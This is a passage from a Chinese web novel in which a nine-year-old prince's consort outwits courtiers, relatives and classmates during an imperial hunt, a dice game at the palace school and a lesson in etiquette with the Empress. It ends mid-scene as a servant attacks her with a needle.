说着,再瞄了眼刚才落井下石的亲爹,浓密的眼睫忽扇忽扇,小声却清晰地说:“以前吃不饱饭,只能用弹弓打鸡仔,打跑鸡仔以后,再去掏鸡蛋吃。”
此话一出,所有人都震惊了一瞬。
有人的注意力:“所以你不会射箭,只会玩弹弓?天呐,我弹弓也玩得好,怎么箭术就这么差?这难道就是天才和庸人的区别吗?”
有人则阴阳怪气:“哇哦~堂堂丞相嫡女竟然吃不饱饭,谢丞相方才还大言不惭说了解女儿,看样子慈爱亲爹只是个人设,真是丢人啊!”
谢兆青听着周围的议论,恨不得挖个地缝钻进去。
偏偏有人就是不放过他。
言关清微微一笑,谪仙般的温柔,说出的话却扎心无比:“谢丞相对嫡女生而不养,对养女养而不教,如此公平公正,着实令人叹服啊!”
谢兆青:“……”
谢兆青连忙跪下请罪:“皇上恕罪,臣……臣愧对元棠,一直以来都有心弥补她……”
“真的吗?”
谢元棠清亮的声音顿时响起:“那爹爹也会补给我嫁妆喽?”
谢兆青:“……”
“呵。”言关清冷笑一声,“连诸位
亲友都已经给了份子钱,难不成谢丞相竟还吞着皇子妃的嫁妆?当真是好爹啊!
谢兆青后槽牙都疼了:“皇,皇上,臣……
“哼!
当朝一品丞相连连闹出笑话,司徒擎对他实在难有好脸色,直接一摆手道:“既然谢卿有心弥补,那就先从元棠的嫁妆开始补吧,限你两日之内补齐嫁妆,不得有误!
“……是。
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司徒擎说完压根不想看谢兆青。
糟老头子只会扫兴!
他目光扫向谢元棠,声音温和了许多:“元棠,你赢了比赛,除了应得的彩头,可还有想要的?
正常人这个时候都会客气一句“没有了,但谢元棠不是正常人!
谢元棠从来就不知道“客气是什么!
她直接点头:“哦,有的。
司徒擎:“……
谢元棠伸出胳膊,露出发红的手腕:“父皇,我手腕受伤了,请虞卿卿报销我的医药费!
虞卿卿:“……
她顶着一脸的屁股印,怎么没人赔她!
哦不对,那也是她先动的手!
司徒擎嘴角一抽,无奈又好笑地指指她:“小丫头,你当真是铁公鸡啊,一毛不拔!
谢元棠调皮地吐了吐舌头,再得了虞卿卿拿出的赔偿金以后,才心满意足地回了座位。
刚坐回去,就看见司徒砚递过来一碟子剥好的瓜子儿:“不到一百个,我刚才只顾着看比赛,忘剥了。
他有些懊恼地低着头,觉得自己既没能帮谢元棠打嘴仗,连剥瓜子都做不好。
谢元棠小手戳戳他额头,笑着道:“夫君刚才帮我说话,我都听见了呢,夫君都能舌战群雄了啊,好厉害!
司徒砚眨眨眼,认真道:“娘子比我厉害,接下来的比赛我也要好好学射箭,变得更厉害,保护娘子!
“嗯嗯,我相信夫君。
谢元棠眼珠一转,在他耳边小声叮嘱:“不过夫君要记得一点,待会儿切不可远离虞龙单独行动,一定要紧紧跟着他,他要是想走开,你就说他不守信用,他就不会走了。
她根本不在意司徒砚取什么
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名次,但他们如今风头正盛,多的是眼睛盯着他们看。
如果今日
司徒砚不上场就会惹人非议她今日所做的一切也白费了一大半。
所以司徒砚必须参赛!
只要他上场哪怕拿了倒数第一也不丢人。
毕竟谁都知道五皇子文不成武不就他要是拿了正数第一才有问题!
再说虞龙已经被她搞下去了
谢元棠心里算得清楚明白最重要的是昨日的黑衣人没找到。
她担心司徒砚单独行动会有危险所以必须给他拉个保镖。
而虞卿卿主动撞上来那就别怪她物尽其用了!
“不可以单独行动有陌生人跟你搭话也不要理会记住了吗?”谢元棠老妈子似的句句叮嘱。
司徒砚点点头想了好一会儿问:“娘子是担心昨天的黑衣人?”
“夫君真聪明!”谢元棠笑着小手拍拍他的脑袋明明是个小人儿两人之间却好像姐弟似的。
“娘子不要担心你说的话我都记住了。”
司徒砚保证道其实他心里有句话没说。
那就是他莫名的有种感觉那个黑衣人应该是不会再出现了……
很快第三次围猎开始。
跟谢元棠挥过手司徒砚骑上小乖慢慢走到林子前。
其他人也分别就位只等信号一起便各凭本事。
司徒烨也在其中虞龙下意识骑马跟在他身侧两人正在说什么。
司徒砚想起谢元棠的嘱咐歪了歪头朝虞龙招招手道:
“虞龙你得跟着我。”
虞龙:“……”
司徒烨:“……”
“虞龙你就陪着五弟吧。”司徒烨勉强笑了下看都不看司徒砚。
看什么?
看人?碍眼!
看马?更碍眼!
虞龙黑着脸勒马走到司徒砚跟前冷声道:“五殿下事先说好我只负责保护你的安全还有教你射箭但绝不会替你射箭的。”
司徒砚点点头语气认真:“放心吧我很守规则的只要你跟着我我不会让你重来一遍的。”
虞龙:“……”
靠!
讽刺他虞家不守游戏规则是吧!
到底谁说这位五皇子嘴笨的?
分明能说得很!
第40章 好凶残一小皇妃!
随着司徒擎点头,太监一声令下,众皇子和武将骑马入林。
仗着功夫好的,想取得好名次,好在皇上跟前表现一番的,都会率先深入,以夺取先机。
比如司徒冉司徒烨等人。
稍慢一步的,不敢深入或者不敢跟几位皇子争抢,就选择在山林中部的位置猎猎物。
虞龙向来都是跟着司徒烨最先深入的,但今天……
他第N次看向不紧不慢,骑着马还没走路快的司徒砚,又郁闷又憋屈:“五殿下,外围没有猎物的,您不往里走,待会儿都给他们抢完了。”
司徒砚心态极好:“没关系,反正我去了也射不中。”
虞龙:“……”
“你先教我射箭吧,我学会了再进去。”
司徒砚谨遵自家娘子的吩咐,牢牢拴住了虞龙这个时刻想撒欢的野人。
虞龙一口怨气上不去下不来,只能化怨力为箭气,一箭射出去,树干都颤得抖三抖!
“看好了,骑射跟站那儿射箭不同,难度更高,尤其需要马匹的配合。”
虞龙说罢,低头看了眼司徒砚坐下乖得通灵的乌骓马,嫉妒地哼哼:“这点殿下不必担心,乌骓马是千里良驹,只要能驯服,就会一生忠主。”
司徒砚伸手摸摸小乖,听着虞龙的教学:“控马是基础,接着便是拉弓射箭,殿下看我示范。”
虞龙虽说不喜司徒砚和谢元棠,但他说到做到,教司徒砚的时候也没有藏私。
“如此,跨和腿要用力,背要挺直,沉肩,架弓……”
一箭射出,虞龙看向司徒砚:“可看清了?殿下来一遍吧。”
司徒砚点点头,拿出弓箭,回忆着虞龙的步骤:“背挺直……等一下,我腿忘了用力了,然后沉肩……肩膀怎么沉?”
看着他笨里笨气的样子,虞龙眼里的嫌弃都快溢出来了,正想走近再教一遍,就看见司徒砚勉强架好了弓。
然后——
“嗖!”
一箭稳稳射在十米开外的树干上!
虞龙:“……”
不是,你们夫妻俩难道都是天才吗!
你不是傻子吗?
如今傻子的门槛也这么卷了?
司徒砚不确定地看虞龙:“是这样吗
?好像……有点简单诶!”
他甚至觉得他好像天生就会似的!
虞龙不甘不愿地扯了个难看的笑:“……是殿下天资过人。”
一句话说得咬牙切齿嫉妒无比!
——
在司徒砚入林后谢元棠也没闲着她正在社交!
只见淡黄色的小身影一刻也闲不住不是在言关清跟前晃就是去几个贵族小姐那儿聊着。
连司徒凤都皱眉看着她:“有什么好说的她怎么那么多话?”
陆紫珊眼珠一转小声道:“小皇妃势单力薄兴许……是趁此机会在拉拢人吧。”
“就她?嘁……”司徒凤鄙夷地冷笑一声。
不一会儿谢元棠就逛了回来不过她没找司徒凤而是走到了二公主司徒雅跟前甜甜地道:“二皇姐我能坐这儿吗?”
司徒雅点点头她生母是个不受宠的嫔以至于她也是个温顺话少的谢元棠听红蕖说以前司徒凤没少欺负她。
“二姐姐怎么没见大姐姐呀?不是说她也来了吗?”
谢元棠疑惑地问大公主司徒晴还送了她礼物可却没见着人实在奇怪。
司徒雅微微一笑柔声细雨道:“皇姐突犯心疾今日清晨提前回去了不过……”
话音一顿
司徒晴跟司徒砚亲厚?
谢元棠微顿若有所思地多看了眼司徒雅。
她是故意提醒她还是在暗示什么?
这皇宫里的人真是不可小觑除了司徒砚就没一个简单的。
此刻的谢元棠还不知道在一群狼里面就她的傻夫君最不简单!
一个时辰后围猎比赛结束。
出乎意料的是司徒砚还真猎到了猎物!
看着他手里抱着的灰野兔谢元棠眼睛都亮了撒丫子跑过去:“夫君这是你猎的吗?好棒啊!”
司徒砚被夸得俊脸微红旁边虞龙忍不住哼道:“棒什么棒还不是倒数第二?”
谢元棠白他一眼:“你个倒数第一还好意思说虞家的脸也不知道被谁丢完了!”
虞龙:“我……”
谢元棠:“对对
对就是你!”
虞龙:“……”
旁边司徒冉路过,拍拍他的肩膀好心劝道:“虞小
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公爷,别说了,你说不过她的。”
没见你妹妹都老实了,一直低着头装聋哑人呢嘛!
看见司徒砚真猎到了猎物,司徒擎也很高兴,看他的眼神愈加欣慰。
不是他偏心谢元棠,真的是自从冲喜过后,司徒砚就一路让人刮目相看!
司徒擎看着谢元棠,感慨道:“看来你真的是砚儿的小福星啊!”
谢元棠傲娇地扬着小脑袋,毫不谦虚道:“那当然!”
她当之无愧!
“人小鬼大!”
司徒擎摇摇头,慈笑地看着两人:“你们打算如何处理这只兔子啊?”
就在他满以为两人会回答“带回去养着”的时候,却见谢元棠大眼睛一眨不眨地盯着司徒砚怀里的兔子,然后……
“咕叽~”
咽了口口水!
司徒擎:?
谢元棠舔舔舌头,眼神亮晶晶地看着司徒擎:“兔兔这么阔爱,当然是带回去……烤着吃了!”
众人:“……”好凶残一小皇妃!
司徒砚点点头,勒着兔子的大手都紧了两分:“烤兔兔……香!”
司徒擎:“……”这儿子早晚被谢元棠玩儿坏!
谢元棠春风得意,小脸上满是笑容,连鞭痕都遮不住她璀璨的笑。
司徒煦在一旁看着,欠嗖嗖地开口:“五哥,听说回去以后,你们俩就要去瀚学了啊?大家同堂学习,还请多多指教。”
一旁的司徒烨笑着扎心:“只怕五弟妹是没时间的,六弟别忘了,她还要去惠坤宫跟皇后娘娘学规矩呢。”
谢元棠:“……”
小脸上的笑容骤然消失。
然后,
笑容转移到了司徒煦和司徒烨的脸上!
谢元棠气得朝两人挥小拳头,转身找帮手:“二皇兄,他们欺负我!”
司徒冉挑了挑眉,温润一笑,淡淡开口:“四弟和六弟倒也不必担心,毕竟五弟还有个贴身保镖呢。”
保镖虞龙:“……”
司徒烨笑容消失。
司徒冉新增灿烂笑容一个!
司徒煦看向司徒砚,司徒砚顿时抱紧兔子:“欺负娘子,兔兔不给你吃!”
司徒煦笑容消失。
谢元棠笑容加一!
第41章 山野老林里冒出来的小凶兽!
围猎结束的当天,谢元棠就在院子里架起了烧烤。
焦香飘远,惹得住在不远处的司徒凤恨恨咬牙:“这个谢元棠,一点都不知道羞吗?竟然真的吃烤兔肉!”
妈的,真香!
谢元棠才不管那些,她召集了红蕖和罗吉等人,现烤现吃。
红蕖眼巴巴看着罗吉手里的烤肉串,馋得流口水:“我天,小皇妃您到底在里面加了什么佐料?香死我了!”
谢元棠眨了眨眼:“秘密!”
其实也没啥,不过她从十几种变异辣椒株里提取出来的辣椒素,还有从专门对付丧尸的麻毒藤里提取的蒜麻素……等等等等。
这些还是不要说了,省得一说,他们知道这些都是零号的“食物”,吓得不敢吃了。
“皇子妃,兔肉烤好了。”
罗吉将装盘好的食盒拎过来,一旁的司徒砚好奇地问:“娘子,现在不吃吗?为什么要装起来?”
谢元棠揪揪他的脸:“兔腿儿给你留着呢,至于这些,当然要给父皇和舅舅送去啦!”
开玩笑,这么好的“巴结”机会,她大佬棠怎么会放过!
何况这香味飘得如此放肆,只怕司徒擎早在心里骂她“小没良心”了,要是她不去,指不定回头得给她和司徒砚穿小鞋。
谢元棠嘱咐罗吉照顾好司徒砚,便带上红蕖,拎着食盒跑出去了。
这一天,上到司徒擎,言关清,下到几个官宦小姐,都有幸分到了谢元棠的烤肉。
俗话说拿人嘴软,有些对她还有几分芥蒂的,便因着这盘贼拉香的烤肉,也愿同她亲近一些。
当然,谢元棠也不是谁的人情都做的。
而且烤肉也不够多。
诸如司徒烨,司徒煦,司徒凤,虞卿卿……就没福分享烤肉了!
这记仇的小心思简直不要太明显!
“皇上您是不知道,小皇妃她啊,拎着食盒来回地跑,至少有三次经过谢丞相的门口,硬是三过家门而不入!”
“奴才听说谢丞相闻着隔壁言太傅那儿的香味,气得都摔筷子了!”
曲培绘声绘色地说着谢元棠带来的趣事,司徒擎一边吃兔腿儿,一边乐得哈哈大笑:“这个小元棠,真是鸡毛蒜皮的小事,都能让她闹翻天去!”
俪妃还因为自己俩孩子没分到烤肉而生气,闻言阴阳怪气道:“到底年纪小,活泼是好,就是少了点规矩呢。”
司徒擎看她一眼,好笑道:“你就是气她没分肉给煦儿和凤儿,当朕看不出来?”
“臣妾哪有~”
“没有啊,那你看起来是真不喜欢谢元棠。”
司徒擎点点头,遗憾地挪走俪妃面前的烤肉:“既然你不喜她,这烤肉你还是别勉强吃了,朕帮你分担。”
俪妃:“……”
经过这么一闹,谢元棠的名声是彻底打响了!
傻皇子司徒砚“夫凭妻贵”,也入大家的眼,至少现在没人会当面嘲讽他欺负他了。
毕竟……
谢元棠看起来太凶残了!
跟头山野老林里冒出来的小凶兽似的,虽然奶萌,但那也是凶兽啊!
小凶兽嘴巴厉害不说,还有个太傅舅加丞相爹,皇上还乐意宠着她!
这……谁还敢碰瓷?想学虞卿卿和陆紫珊吗?
那两位可是已经被勒令提前回家,闭门思过了!
——
之后的两日,司徒擎还亲自入林射鹿,还有各家武将武术打擂等节目,只是这次,谢元棠跟司徒砚便没有参加了。
她主要负责拉着司徒砚,再带上虞龙,混迹在人群中,不是在吃就是在社交!
两日时间,几乎所有人都对五皇子和五皇子妃不陌生了。
毕竟一大一小两个美人,再加一个虎背熊腰的保镖,这种组合实在是太亮眼了。
连言关清都好奇地问了虞老国公一句:“您家小公爷,如何长得如此粗犷不羁的?”
虞老国公:“……”
你就想说我家娃丑,别以为我听不出来!
臭文臣!
两日后,围猎结束,谢元棠和司徒砚回了皇子府,才休息了一天,就被司徒擎下旨次日去瀚学。
气得谢元棠跟司徒砚抱怨:“你爹是不是忘了我才九岁
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!我才歇一天呐!糟老头子也太不像话了吧!”
司徒砚小声道:“其实,以前我去过瀚学。”
虽然只去了三天。
谢元棠问:“你几岁去的?”
司徒砚:“……五岁,我去的晚,几个皇兄都是三岁多
就去了。”
谢元棠目瞪口呆她以为末世就卷了没想到穿越过来还要卷!
她还想这两日找机会去华觉寺找娘亲看来只能另找时间了。
谢元棠认命地叹了口气好在她向来接受能力强。
末世生存守则三:反抗不了就顺从它!折磨它!改造它!
不就是上学嘛!
想当年她堂堂大佬棠可是顶着校花的脸加校霸的脾气以专业课第一的成绩从末世顶级军校毕的业!
谢元棠“积极备战”……哦不认真备学终于在第二天带着白芙连夜给她和司徒砚赶制的书包乘着马车去了瀚学。
司徒擎规定未满十八的皇室中人都要在瀚学学习司徒砚是个例外。
到了学堂以后谢元棠才发现几乎都是熟人司徒煦
她惊讶地看着虞龙:“不会吧你还没满十八?”
话音一顿不等虞龙张口她就感慨道:“那大哥你长得有点着急啊!”
虞龙:“……”
虞卿卿气不过:“谢元棠你胡说什么不是你说让我哥哥给你们当保镖七日吗?我哥哥是来当保镖的才不是来上学的!”
“哦~”
谢元棠恍然小手拍拍虞龙的衣摆道:“干得好继续加油哟~”
虞龙深吸口气绷紧了牙一个字不说。
说有什么用?又说不过她!
“哟五哥来了?来来来都给五哥让开位置!”
后排靠窗的位置司徒煦一张手一边晃着手里的骰盅一边招呼司徒砚:“五哥来玩儿两把?”
司徒砚看看他手里的骰盅摇头道:“我不会……”
司徒煦笑道:“不难不过是拼运气而已五哥若是赢了弟弟再给你一千两你若是输了……”
他话音一顿不还好意地看着司徒砚:“就给我鞠个躬怎么样?”
第42章 她才九岁,她能说谎吗!
司徒砚怔怔地看着他。
对他来说,倒是一时没察觉“鞠躬”这个行为有多大的不妥,只是这么多年来经常被人欺辱,司徒砚再傻也学会了看一种眼神。
那就是轻蔑和嘲讽。
此刻司徒煦看他的样子,就好像当初杜韦让他跪下的样子一样。
司徒砚没有再看他,只是低声重复道:“我不会玩……”
话还没说完,就见司徒煦啧啧出声:“哎呀五哥怎么这么玩不起?该不会是怕了吧?”
司徒煦感慨摇头:“五哥,我可是给了你天价的温玉呢,结果你竟然这点面子都不给我,实在让弟弟我很是伤心呐!”
“就是啊五皇子,不过是玩一把而已,不必输不起吧?”
“得了那么多份子钱,结果居然玩游戏都不敢,五皇子到底是胆子小呢,还是抠门呢?”
讥讽声越来越大。
虽然司徒砚在围猎上露了脸,但也只是露了脸而已。
在场的纨绔,哪个身份亮出来不是侯爵之后?
旁人怕司徒砚,他们可不会怕!
甚至还更想杀杀他的威风!
在一众嘲讽声中,司徒砚微微握紧拳头,没有开口。
他不知道该说什么,但亦不会再逃跑,不会再胆怯。
“嘿!这位头发稀疏、满脸褶子的大叔。”
一道糯滋滋的声音响起,谢元棠小手拍拍挡在她前面的人,笑嘻嘻道:“对对对,就是说你,好狗不挡道,让一让嘿!”
只是长得着急了点的爵府世子:“谁是你大叔!我才十七,十七!”
“哇哦~”
谢元棠震惊地看着他:“抱歉啊,从你这张沧桑的脸上,我是真看不出来啊!”
说完还不忘回头“安慰”虞龙:“他长得比你还丑!”
虞龙:“……”怎么这话听着,就是让人高兴不起来呢?
爵府世子被气哭了,委屈地跑了出去。
怼趴了爵府世子,谢元棠将书包往虞龙怀里一扔,大摇大摆地走过来,一屁股坐在司徒煦对面:“哟,六弟在玩儿骰子呢呀!”
司徒煦听着那句“六弟”就觉得耳朵疼,没好气地瞪了眼谢元棠:“是又如何?”
谢元棠笑得更灿烂了,笑容
配上那些凌乱的鞭伤看起来更像个小恶霸!
小恶霸小腿一翘搁在椅子上小手一拍桌笑着盯司徒煦:
“来来来六弟嫂子跟你玩呀!”
司徒煦:“……”
他这辈子都摆脱不了“六弟”“嫂子”这点荼毒了是吧!
司徒煦盯着谢元棠心想不过是个乡野丫头怎么可能会骰子!
“玩可以!”司徒煦咬牙道“但是不能再叫我六弟不许自称我嫂子!”
旁边司徒凤也凑过来闻言道:“我没这样的嫂子!”
谢元棠眨眨眼也不生气笑着道:“这样啊那不如我们一局定输赢啊你们赢了我就不再这么说我赢了你们以后见我要主动跟我说‘嫂子好’如何?”
司徒凤脸色一变不说话了。
不是她信不过司徒煦的赌术只是……谢元棠这丫头看起来实在邪乎!
她可不想学虞卿卿赔了哥哥又折兵!
见两人都不说话谢元棠笑了小手拉着司徒砚坐自己跟前学着他们方才的嘲讽语气阴阳怪气道:“哎哟哟你们该不是不敢吧!”
“不过是玩一把的事情怎么就这么输不起?”
“六弟三妹妹怎么说你们也大我许多岁怎么胆子还不如我一个小孩儿?”
要不说谢元棠嘴巴厉害呢。
刚才嘲讽司徒砚的可是好几个人而她就一个人说起这番话来磕巴都没有绊一下!
语速又快发音又清晰表情还过于生动!
气得司徒煦当场拍桌子:“谁说老子输不起了?一局定输赢来!”
“六弟……”
司徒凤欲言又止心脏突突直跳
第一局司徒煦先来摇了三个六。
司徒煦冷笑地瞪着谢元棠:“你输了。”
谢元棠翻了个白眼随手拿过骰盅就那么随意一晃摆烂似的往桌上一搁。
三个六!
第三个骰子还自中间分裂成俩一个六一个一。
在所有人的目瞪口呆盅谢元棠才笑嘻嘻开口:“谁输了?”
司徒煦:“……”
他不可置信地看着那个裂成两
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半的骰子气得血气翻涌:“
我不信!再来!”
谢元棠小手捂着嘴巴打了个哈欠:“再来可以,先说好哈,这局我赢了,你们俩要怎么样来着?”
司徒煦脸色难看至极,司徒凤手指都快把衣袖抠烂了。
姐弟俩在一片安寂中,不情不愿地开口,声如蚊虫:“嫂子。”
“哎!这就对了!”
谢元棠笑得十分满意,搓着小手盯着司徒煦:“再来再来,六弟你刚才不是说我赢了你给一千两吗?快点,我缺钱呢!”
司徒煦顿时一拘灵,司徒凤比他手还快,立马抢走骰盅:“不赌了,我们不赌了!”
这谢元棠太邪门了,他们赌不起!
“谁又在学堂上赌啊?”
突然,一道严厉的声音响起。
谢元棠回头,看见瀚学的讲学许夫子走了进来,身旁还跟着方才跑出去的爵府世子。
原来这家伙方才是打小报告去了。
恨恨地瞪了眼谢元棠,爵府世子大声道:“夫子,就是这个谢元棠,她来瀚学第一个就私设赌局,猖狂得很!”
“谢元棠?”
许夫子疑惑地目光扫过来,先在司徒砚身上停顿了一瞬,又看向他身旁站起来跟课桌差不多高的谢元棠,眉头微蹙:“你设的赌局?”
谢元棠使劲儿摇摇小脑袋,把头上的铃铛晃得叮当响。
眨巴着那双又黑又亮,满是纯澈和无辜的大眼睛:“夫子,您觉得可能吗?”
她细小白嫩的食指指着自己:“我哪有这本事,我才九岁,他们可是一群大人,会听我一个人九岁小屁孩的话?”
听她话的司徒砚、司徒煦、虞龙:“……”
许夫子摸摸胡须,缓缓点头:“有道理。”
谢元棠再接再厉,小手一指司徒煦和爵府世子:“分明是他们几个欺负我和我夫君,还逼迫我们跟他们玩!”
“谢元棠,你胡说!”
爵府世子没想到谢元棠张口就撒谎,气道:“夫子,你别听她说的,她说的都是假话!”
许夫子幽幽地扫了眼他:“不信她,难道信你吗?”
“她才九岁,她能说谎吗!”
第43章 夫妻间的私密话
满堂皆静!
只有许夫子那句“她才九岁,她能说谎吗”缓缓回荡在众人的耳边。
真真切切的震耳欲聋!
震得司徒煦恨不得自己耳朵都聋了,免得再听见这种让人窝火又反驳不了的瞎话!
谢元棠一张稚嫩的小脸笑得无比灿烂,要不说她就喜欢这种“公平”“明察”的好老师呢!
谢元棠气死人不偿命,火上浇油道:“对呀,棠棠才九岁,说谎的谎字都还不会写呢~”
爵府世子被气的彻底失智,吼道:“那我才十七呢!我能说谎吗?”
就站在他旁边的许夫子毫无防备,差点被这一声吼直接送走!
气得他一个戒尺敲过去:“孙逢必!你要谋杀我的耳朵吗?”
“夫子,我,我……”
“你什么你?你不会说谎?别以为我不知道你为了进瀚学改年龄的事!”
许夫子一气之下爆了个猛料!
“哇哦~”
不知道从哪里变出来一把瓜子儿的谢元棠,一边吃瓜一边磕瓜子儿,还不忘给旁边司徒砚分了一小半。
“我,我没有……”
孙逢必憋得老脸通红,奈何嘴笨,连否认都结巴。
许夫子冷哼一声:“你没有那是我有?”
孙逢必:“……那我还听说,夫子你是靠岳丈进来的……”
“嚯!”
谢元棠“咔巴”咬了口瓜子儿,乌溜溜的大眼睛闪烁着吃瓜的光芒!
许夫子背景被人抖落出来,气得一连三戒尺抽在孙逢必屁股上,破口大骂:“放你娘的屁!”
“滚滚滚!给我出去站着去!今天别想进来听课!”
孙逢必憋屈地捂着屁股往外走,临走前还幽怨地瞪了眼谢元棠。
谢元棠:“嘻嘻~”
孙逢必:“……”嘻泥马嘻!
等孙逢必备撵出去,许夫子轻轻咳嗽两声道:“方才孙逢必胡言乱语,君子不轻信轻传谣言,夫子相信,你们都是君子。”
谢元棠眨眨眼,心说:她不是!她就喜欢听谣言!
“好了,现在开始上课,今日讲《策衡》……”
许夫子开始讲课。
司徒煦开始听课。
司徒凤开始照
镜子。
司徒砚开始头疼。
谢元棠开始睡觉。
许夫子看着不止睡得光明正大还吧咂嘴的谢元棠叹了口气心想这小皇妃才九岁却营养不良瘦弱不堪犯困也是正常的。
罢了今天就当没看见吧。
毕竟他的目标可是做个仁慈的夫子!(对孙逢必除外)
上午谢元棠是趴在课桌上睡过去的。
中午谢元棠醒了吃饭!
下午谢元棠是躺在司徒砚腿上睡过去的。
甚至司徒砚还贴心地给她盖上了他的外衣免得她着凉。
许夫子每每看见都要心中默念:仁慈仁慈仁慈……
就这样谢元棠一直睡到下学。
还是桂嬷嬷把人叫醒的。
谢元棠睁开眼看了眼周围学堂就只剩下她和司徒砚还有保镖虞龙了。
“其他人呢?”
虞龙嫌弃地白她一眼:“早下学走了你倒是睡得好。”
谢元棠打了个哈欠站起身伸了个懒腰不理他的阴阳怪气又看向桂嬷嬷问:“你又来干吗?”
桂嬷嬷笑得和蔼:“小皇妃怕是忘了今儿您还得跟奴婢去惠坤宫学规矩呢。”
谢元棠眨眨眼歪了歪脑袋道:“哦学规矩呀好哇!”
司徒砚出声道:“我也去!”
“殿下皇后娘娘只叫了皇子妃一人您不能去呢。”
“可是……”
司徒砚蹙起好看的眉有些担心地看着谢元棠:“我在外面等你?”
“不用夫君你先回家吧。”
谢元棠单纯地笑笑然后对桂嬷嬷道:“嬷嬷你先出去一下我跟夫君说点悄悄话。”
桂嬷嬷皱眉:“小皇妃有什么话不能当着奴婢的面说?皇后娘娘可是已经等许久了。”
谢元棠一转身抱住司徒砚的窄腰仰头看着桂嬷嬷:“夫妻间的私密话嬷嬷也要听吗?”
司徒砚也跟着点头
桂嬷嬷:“……”
虞龙:“……”
就你俩能有夫妻间的私密话?
鬼才信!
桂嬷嬷
和虞龙一走谢元棠正想跟司徒砚说话低头一看自己竟还抱着他的腰连忙就要松开却不想被一只大手托着腿直
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接托了起来。
“娘子要说什么这样说他们就听不到了。”
司徒砚将她抱到跟自己一样高低头凑近道。
谢元棠看着他忽然靠近的俊脸先是一愣而后听见他的话才笑了下在他耳边道:“你待会儿跟虞龙说……”
“记住了吗?”
“嗯嗯!记得牢牢的!”
司徒砚指指自己的脑袋他虽然时常忘记很多事但奇怪的是只要是谢元棠叮嘱他的他都会记得很清楚。
叮嘱完司徒砚谢元棠才跟着桂嬷嬷去惠坤宫。
她前脚走后脚虞龙跟司徒砚说:“我们可以回了吧?”
司徒砚摇摇头:“把马车停在西侧宫门娘子说她马上就出来。”
虞龙:“???”
皇后能那么快放人?
该不会谢元棠又想搞事吧!
——
谢元棠到的时候姜皇后正在喝药。
“元棠来了?快过来本宫这儿。”
姜皇后朝她招招手看她的眼神比看亲闺女还亲。
谢元棠:“……”说真的大可不必!
谢元棠大大滴怀疑姜皇后身边有个演技老师并且这个老师没好好教!
不然为何她每次看见姜皇后演戏都会替她尴尬呢?
问:姜皇后找你聊天总共分几步?
答:分三步。
第一步亲切拉拢第二步微笑威胁第三步严厉惩罚。
合着三件套是您的演技模版是吧!
谢元棠心里无比吐槽无奈配合无语可说。
她走过去看着姜皇后拉着她的手语重心长地哽咽:“元棠啊这几日本宫真的十分愧疚若非本宫失察又怎会让你和砚儿受了那么多委屈本宫真是……咳咳咳咳……”
“娘娘您快别哭了。”
桂嬷嬷心疼地说:“小皇妃您是不知道娘娘这些日每每想起这事都吃不好睡不好硬生生把自己个儿拖累病了。”
谢元棠:“是是是。”
姜皇后看着低头乖顺的谢元棠微微眯了眯眼叹道:“其实也不止本宫自责你大皇兄也十分自责。”
“他跟言太傅师徒情深多年砚儿又是言太傅的外甥谢丞相更是你父亲咱们本就是一条船上的一家人。一个不稳
谢元棠:“对对对。”
第44章 能在末世活下来的人,什么没见过!
姜皇后看着今日十分听话懂事的谢元棠,心下一位她将话听进去了,松了口气脸色一变摆出严母的架子来。
“如此,那本宫便有话直说了,元棠你得你父皇喜爱是好事,但正因如此更要以身作则,你身份虽是谢家嫡女,但到底来自乡野,行为言语粗鄙,本宫让桂嬷嬷教你规矩,你要好生学,本宫这是为你好。”
“什么时候学会了,什么时候再吃晚饭。”
谢元棠:“嗯嗯嗯。”
姜皇后蹙了蹙眉,总觉得谢元棠的态度有哪里怪怪的。
谢元棠低:是是是,对对对,嗯嗯嗯。
姜皇后给桂嬷嬷使了个眼色。
桂嬷嬷笑着上前:“小皇妃,奴婢开始教您规矩,您可要看好了。”
“今日咱们先学站……”
“学不了!”
桂嬷嬷话都没说完,谢元棠就抬手打断。
桂嬷嬷脸色难看,姜皇后皱起眉头:“你说什么?”
谢元棠指指自己的脚:“皇后娘娘,我的脚崴了,父皇也知道哦~”
说罢,她转头看看桂嬷嬷,笑嘻嘻道:“所以今天人家站不了一点呢!”
桂嬷嬷恨恨咬牙:“那就学坐!”
“这总能学了吧?”
谢元棠点点头:“可以学,我屁股好着呢!”
桂嬷嬷:“……”谁问你屁股了!
她觉得自己再跟谢元棠说两句话会被她气死,冷哼一声转头走到椅子旁:“皇室中人,一举一动都代表皇室的高贵和优雅,坐要有坐相,轻盈,挺拔……”
“小皇妃看清了吧?”
谢元棠摇头:“没看清,你再坐一遍。”
桂嬷嬷:“……”
她站起身重新坐:“皇室中人,一举一动都……看清了吗?”
“没有,你再来一遍。”
“皇室中人……”
“再来一遍。”
第五遍后,桂嬷嬷脸都绿了:“小皇妃,您在逗奴婢玩吗?”
谢元棠大眼睛一弯,笑眯眯道:“哎呀,桂嬷嬷你才发现呀?”
桂嬷嬷:“……”
“哎哟开个玩笑嘛,嬷嬷不会真的生气了吧?”
谢元棠转头看着姜皇后:“皇后娘娘不
会也生气了吧?棠棠是把你们当一家人才会开玩笑的呢~
姜皇后:“……本宫没生你的气,不过你快点坐吧。
“哎,好嘞。
谢元棠走过去,学着桂嬷嬷的样子,走到椅子旁,微微一笑道:“嬷嬷看好了哟~
说完,她轻轻抬手,缓缓坐下。
一举一动都跟方才桂嬷嬷的一模一样!
桂嬷嬷愣了下,想要挑错都一时挑不出来。
谢元棠见她这样,笑着往后一靠椅背:“怎么样桂嬷嬷,我学的对吗?
桂嬷嬷本来没揪着错,但见她往后一靠,就跟见到了鸡蛋里的骨头似的,瞬间眼睛一亮道:“方才对了,但这会儿又错了。
谢元棠:“那你再坐一遍我看看。
桂嬷嬷:“……不了。
“小皇妃您坐着别动,奴婢亲自教导您哪里错了。
她说着朝谢元棠走过去。
与此同时,姜皇后站起身道:“元棠,你好好跟着桂嬷嬷学,本宫喝了药有些乏了。
说罢朝桂嬷嬷使了个眼色,才走了出去。
一时间厅中只剩下桂嬷嬷和谢元棠两人。
“小皇妃别怕,奴婢会好好教您的。
桂嬷嬷走到谢元棠身后,慢慢朝她伸出手。
谢元棠挑了挑眉,嘴角弧度勾得更深了。
“我不怕呀,嬷嬷你尽管来,棠棠很喜欢被你调教呢~
每一次她的丧尸们想调教她,都被她反过来调教了!
桂嬷嬷听不出她话里的“期待,只眼神一狠,一手按住谢元棠的肩膀,一手从袖子里掏出绣花针来,朝着谢元棠的腰背就扎了下去!
小妮子,我扎死你!
就在那针尖要碰到谢元棠的一瞬间,谢元棠微微一笑,抬起“崴了的
同时小手一抬,抓着桂嬷嬷放在她肩头的手就是用力一拉!
